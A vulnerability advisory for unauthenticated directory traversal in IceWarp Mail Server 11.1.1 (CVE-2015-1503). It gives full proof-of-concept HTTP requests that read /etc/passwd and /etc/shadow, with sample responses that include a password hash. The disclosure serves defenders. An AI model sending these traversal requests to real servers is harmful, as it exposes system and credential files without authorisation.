IceWarp Mail Server 11.1.1 - Directory Traversal

Vendor: IceWarp (http://www.icewarp.com)
Product: IceWarp Mail Server
Version affected: 11.1.1 and below

Product description: 
IceWarp WebMail provides web-based access to email, calendars, contacts, files and shared data from any computer with a browser and Internet connection.
IceWarp Mail Server is a commercial mail and groupware server developed by IceWarp Ltd. It runs on Windows and Linux.

Finding 1: Multiple Unauthenticated Directory traversal
Credit: Piotr Karolak of Trustwave's SpiderLabs
CVE: CVE-2015-1503
CWE: CWE-22

#Proof of Concept

The unauthenticated Directory Traversal vulnerability can be exploited by
issuing a specially crafted HTTP GET request to the
/webmail/client/skins/default/css/css.php. Directory Traversal is a
vulnerability which allows attackers to access restricted directories and
execute commands outside of the web server's root directory.

This vulnerability affects /-.._._.--.._1416610368(variable, depending on
the installation, need to check page
source)/webmail/client/skins/default/css/css.php.

Attack details
URL GET input file was set to ../../../../../../../../../../etc/passwd

Proof-of-Concept:

The GET or POST request might be sent to the host A.B.C.D where the IceWarp mail server is running:

REQUEST
=======
GET /-.._._.--.._1416610368/webmail/client/skins/default/css/css.php?file=../../../../../../../../../../etc/passwd&palette=default&skin=default HTTP/1.1
Referer: http://a.b.c.d/
Cookie: PHPSESSID_BASIC=wm-54abaf5b3eb4d824333000; use_cookies=1; lastLogin=en%7Cbasic; sess_suffix=basic; basic_disable_ip_check=1; lastUsername=test; language=en
Host: a.b.c.d
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


RESPONSE:
=========
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 

....TRUNCATED

test:x:1000:1000:test,,,:/home/test:/bin/bash 
smmta:x:116:125:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false 
smmsp:x:117:126:Mail Submission Program,,,:/var/lib/sendmail:/bin/false 
mysql:x:118:127:MySQL Server,,,:/nonexistent:/bin/false 

The above proof-of-concept would retrieve the /etc/passwd file (the
response in this example has been truncated).

#Proof of Concept

The unauthenticated Directory Traversal vulnerability can be exploited by
issuing a specially crafted HTTP GET and POST request payload
..././..././..././..././..././..././..././..././..././..././etc/shadow
submitted in the script and/or style parameter.  Directory Traversal is a
vulnerability which allows attackers to access restricted directories and
execute commands outside of the web server's root directory.

The script and style parameters are vulnerable to path traversal attacks,
enabling read access to arbitrary files on the server.

REQUEST 1
=========

GET /webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fshadow HTTP/1.1
Host: a.b.c.d
Accept: */*
Accept-Language: en
Connection: close
Referer: http://a.b.c.d/webmail/old/calendar/index.html?_n[p][content]=event.main&_n[p][main]=win.main.public&_n[w]=main
Cookie: use_cookies=1; PHPSESSID_LOGIN=08dj6q5s8tlmn126fo3vg80n47; sess_suffix=basic; lastUsername=test; PHPSESSID_CALENDAR=ji3306tg3fecg1foun2ha6dnu1; GUI=advanced; LANG=TURKISH; PHPSESSID_BASIC=wm-54a5b90472921449948637; lastLogin=en%7Cpda; prefered_version=0; PHPSESSID_PDA=ji3306tg3fecg1foun2ha6dnu1; language=en

REQUEST 2
=========

GET /webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fshadow HTTP/1.1
Host: a.b.c.d
Accept: */*
Accept-Language: en
Connection: close
Cookie: use_cookies=1; PHPSESSID_LOGIN=08dj6q5s8tlmn126fo3vg80n47; sess_suffix=basic; lastUsername=test; PHPSESSID_CALENDAR=ji3306tg3fecg1foun2ha6dnu1; GUI=advanced; LANG=TURKISH; PHPSESSID_BASIC=wm-54a5b90472921449948637; lastLogin=en%7Cpda; prefered_version=0; PHPSESSID_PDA=ji3306tg3fecg1foun2ha6dnu1; language=en

RESPONSE
========
HTTP/1.1 200 OK
Connection: close
Server: IceWarp/11.1.1.0
Date: Thu, 03 Jan 2015 06:44:23 GMT
Content-type: text/javascript; charset=utf-8

root:!:16436:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
games:*:16273:0:99999:7:::
man:*:16273:0:99999:7:::
lp:*:16273:0:99999:7:::

....TRUNCATED

lightdm:*:16273:0:99999:7:::
colord:*:16273:0:99999:7:::
hplip:*:16273:0:99999:7:::
pulse:*:16273:0:99999:7:::
test:$1$Duuk9PXN$IzWNTK/hPfl2jzhHmnrVL.:16436:0:99999:7:::
smmta:*:16436:0:99999:7:::
smmsp:*:16436:0:99999:7:::
mysql:!:16436:0:99999:7:::